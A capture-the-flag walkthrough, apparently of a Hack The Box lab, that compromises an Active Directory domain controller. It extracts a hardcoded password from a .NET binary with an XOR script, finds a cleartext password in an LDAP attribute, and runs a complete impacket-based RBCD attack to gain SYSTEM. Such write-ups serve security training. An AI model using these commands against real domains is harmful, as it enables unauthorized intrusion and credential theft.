Easy-rated Windows AD machine chaining unauthenticated SMB enumeration, static analysis
and credential extraction from a .NET binary, LDAP enumeration to find a cleartext password
in a user attribute, and a Resource-Based Constrained Delegation (RBCD) attack to escalate
to NT AUTHORITY\SYSTEM on the Domain Controller.
User Flag
85cd997117xxxxxxxxxxxxxxxxxxxxxx
Root Flag
9f7027023bxxxxxxxxxxxxxxxxxxxxxx
01Reconnaissance
Full port scan — classic DC profile for support.htb. WinRM on 5985 means a direct shell if we get valid credentials.
nmap
$nmap-sC -sV -p-10.129.230.181PORT STATE SERVICE53/tcp open dns88/tcp open kerberos-sec135/tcp open msrpc445/tcp open microsoft-ds SMB389/tcp open ldap636/tcp open ldapssl5985/tcp open wsman WinRM9389/tcp open mc-nmf .NET Message Framing
02Foothold — SMB Enumeration
Guest authentication is enabled. Enumerate shares — support-tools is non-standard and readable.
SMB — guest auth
$nxc smb 10.129.230.181-u'guest'-p''--sharesADMIN$ Remote AdminC$ Default shareIPC$ READNETLOGON Logon server sharesupport-tools READ ← non-standardSYSVOL Logon server share$smbclient//10.129.230.181/support-tools7-ZipPortable_21.07.paf.exenpp.8.4.1.portable.x64.zipputty.exeSysinternalsSuite.zipUserInfo.exe.zip ← custom binary, stands outwindirstat1_1_2_setup.exeWiresharkPortable64_3.6.5.paf.exe
smb: \> get UserInfo.exe.zip
finding:UserInfo.exe.zip is the only non-vendor custom tool — prime target for analysis.
03Reversing UserInfo.exe
The binary is a .NET assembly. Decompile with ilspycmd — inside UserInfo.Services.Protected there's an XOR decryption routine with a hardcoded encrypted password and key.
Replicate the XOR decryption in Python to extract the plaintext password:
decrypt.py
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc_password)
result = bytes([data[i] ^ key[i % len(key)] ^ 0xDFfor i inrange(len(data))])
print(result.decode())
output
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
creds:ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
04LDAP Enumeration → WinRM
With the ldap service account, enumerate all user objects looking for non-standard attributes. The support user has their password stored in plaintext in the info field.
ldapsearch
$ldapsearch-x -Hldap://10.129.230.181-D"ldap@support.htb"-w'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'-b"DC=support,DC=htb""(objectClass=user)" info
dn: CN=support,CN=Users,DC=support,DC=htbinfo: Ironside47pleasure40Watchful
creds:support : Ironside47pleasure40Watchful — stored in plaintext in the LDAP info attribute.
evil-winrm → user flag
$evil-winrm-i10.129.230.181-usupport-p'Ironside47pleasure40Watchful'*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt85cd997117xxxxxxxxxxxxxxxxxxxxxx
05Privilege Escalation — RBCD
Run BloodHound to map the attack path. Key finding: Shared Support Accounts has GenericAll on DC$. Support is a member of that group, and has SeMachineAccountPrivilege — enough for a full RBCD attack.
bloodhound-python
$bloodhound-python-usupport-p'Ironside47pleasure40Watchful'-dsupport.htb-ns10.129.230.181-cAll--zipShared Support Accounts → GenericAll → DC$
RBCD plan: create fake machine account → write msDS-AllowedToActOnBehalfOfOtherIdentity on DC$ → S4U2Self + S4U2Proxy → ticket as Administrator → SYSTEM shell.
Step 1 — Create a fake machine account
addcomputer
$impacket-addcomputer-computer-name'ATTACKERSYSTEM$'-computer-pass'Password123'-dc-ip10.129.230.181'support.htb/support:Ironside47pleasure40Watchful'[*] Successfully added machine account ATTACKERSYSTEM$ with password Password123.
Step 2 — Configure RBCD on DC$
rbcd
$impacket-rbcd-delegate-from'ATTACKERSYSTEM$'-delegate-to'DC$'-action write'support.htb/support:Ironside47pleasure40Watchful'[*] Delegation rights modified successfully![*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
Step 3 — Request service ticket as Administrator
getST
$impacket-getST-spn'cifs/dc.support.htb'-impersonateAdministrator-dc-ip10.129.230.181'support.htb/ATTACKERSYSTEM$:Password123'[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Step 4 — PSExec with the Kerberos ticket
psexec → SYSTEM
$exportKRB5CCNAME='Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache'$impacket-psexec-k -no-passsupport.htb/Administrator@dc.support.htbC:\Windows\system32> whoamint authority\systemC:\Users\Administrator\Desktop> type root.txt9f7027023bxxxxxxxxxxxxxxxxxxxxxx
key takeaways:
· Sensitive data in SMB shares — readable shares should never contain internal tooling with hardcoded credentials
· Credentials in LDAP attributes — info and description fields are readable by any authenticated domain user
· GenericAll on DC$ + SeMachineAccountPrivilege = direct path to domain compromise via RBCD
· RBCD — understanding S4U2Self and S4U2Proxy is essential for both attack and defense